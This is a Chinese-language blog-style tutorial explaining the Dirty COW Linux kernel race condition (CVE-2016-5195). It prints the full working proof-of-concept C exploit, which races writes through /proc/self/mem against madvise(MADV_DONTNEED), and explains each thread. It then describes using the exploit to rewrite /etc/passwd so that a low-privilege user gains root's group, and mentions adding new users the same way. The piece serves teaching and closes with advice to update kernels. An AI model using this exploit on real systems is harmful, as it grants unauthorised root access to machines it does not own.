由于内核以 root 权限运行,它可以被利用作为一个权限提升漏洞。这意味着攻击者可以利用竞争条件,通过从低权限用户处利用它来获得 root 权限。
正如我刚刚在操作系统理论课上学到的,竞争条件发生在两个或多个进程同时访问同一资源并对该资源执行操作,而没有正确同步时。此时,这些操作的结果可能不正确或不符合预期。
为了更容易理解,我们看一个简单的例子:
a = "h1n4m"; # 给 a 赋一个字符串
b = a; # 再将 b 赋值为 a
在这里,尽管我们有两个变量,但它们都指向同一个内存对象。这是操作系统的一种机制,因为不需要为完全相同的值占用双倍的内存。操作系统会一直等到副本被修改时,才为另一个变量分配独立的内存。
b += "dep trai vcl" # 修改 b 的值,具体是追加一个字符串
此时,操作系统会执行以下操作:
竞争条件发生在步骤2和步骤4之间,欺骗内存映射将修改后的内容写入原始内存空间而不是新分配的空间。这导致我们修改了属于 a 的内存,即原始对象,而不是 b,即使我们对 a 只有只读权限。
现在进入正题,那么利用的思路是什么?我们知道,用户的权限是在 /etc/passwd 文件中定义的,只有 root 才能修改这个文件。那么,我们是否可以利用竞争条件,从一个只有只读权限的用户修改 /etc/passwd 文件的内容呢?
答案是肯定的,首先我们分析适用于一个更简单例子的利用代码:

首先,我们创建一个权限为 644 的 dirtycow 文件(只有 root 才有写权限)。我们看到,当试图向文件写入 "Hello" 时,出现了 Permission denied。
至此,攻击目标已准备好,接下来是利用代码:
#include <fcntl.h>
#include <pthread.h>
#include <sys/stat.h>
#include <string.h>
void *map;
void *writeThread(void *arg);
void *madviseThread(void *arg);
int main(int argc, char *argv[])
{
pthread_t pth1,pth2;
struct stat st;
int file_size;
int f=open("dirtycow", O_RDONLY);
fstat(f, &st);
file_size = st.st_size;
map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);
char *position = strstr(map,"h1n4m");
pthread_create(&pth1, NULL, madviseThread, (void *)file_size);
pthread_create(&pth2, NULL, writeThread, position);
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
return 0;
}
这个利用由三个线程组成:主线程、writeThread 和 madviseThread。
主线程负责将我们的文件映射到内存中:
// 首先打开我们的文件(注意是以只读模式打开)
int f=open("dirtycow", O_RDONLY);
// 然后通过 MAP_PRIVATE 将其映射到写时复制内存
fstat(f, &st);
file_size = st.st_size;
map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);
找到需要替换的模式的位置:
// 使用 strstr 函数在映射内存中查找 "h1n4m" 的位置
char *position = strstr(map,"h1n4m");
然后启动两个线程,writeThread 和 madviseThread。
pthread_create(&pth1, NULL, madviseThread, (void *)file_size);
pthread_create(&pth2, NULL, writeThread, position);
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
writeThread:
void *writeThread(void *arg)
{
char *content= "h4ck3r";
off_t offset = (off_t) arg;
int f=open("/proc/self/mem", O_RDWR);
while(1) {
// 将指针移动到需要更改的确切位置
lseek(f, offset, SEEK_SET);
// 在内存中更改
write(f, content, strlen(content));
}
}
这个线程的工作是将字符串 h1n4m 替换为 h4ck3r(或者任何你想要的 :> 很危险吧),但由于内存映射是写时复制类型,这个线程只能修改内存映射的副本上的内容,而不会对文件造成任何更改??
那么危险在哪里?我们来看看另一个线程。
madviseThread
void *madviseThread(void *arg)
{
int file_size = (int) arg;
while(1){
madvise(map, file_size, MADV_DONTNEED);
}
}
这个线程只做一件事:删除内存映射的副本,因此指针有可能重新指向原始内存映射,即最初映射的内存。
如果这两个线程顺序执行,即非多线程,那么更改始终只会影响内存映射的副本,而不会对我们已设置权限的文件造成任何危险。但如果这两个线程被系统同时调用,即多线程,会发生什么?没错,就是竞争条件。在某些时候,系统会误以为指针指向原始内存映射,从而修改 root 文件上的数据,即使没有写权限。但操作系统并不总是会犯这样的错误,因此两个线程在一个无限循环中运行,只要系统出错一次,事情就会如我们所愿。
回到主要问题,/etc/passwd 文件只有 root 才有权修改,我们需要运用上述知识将 lowuser 在 /etc/passwd 文件中的组修改掉。
当作为 low user 时,我们没有对 dirtycow 文件的写权限。
lowuser 已经被提升到了与 root 相同的组 (1001->0000)通过这篇分析,我向大家介绍了 CVE-2016-5195,名为"脏牛"。除了修改组之外,我们还可以直接在系统中添加一个新用户,方法是一样的。尽管这个 CVE 已经存在很久了,但至今仍有许多使用旧内核的系统受到影响。希望这篇文章能让大家大致了解这个 CVE,以及如何为自己的系统进行防范。(更新内核吧!!!!)
我是 h1n4m。Peaceeeee。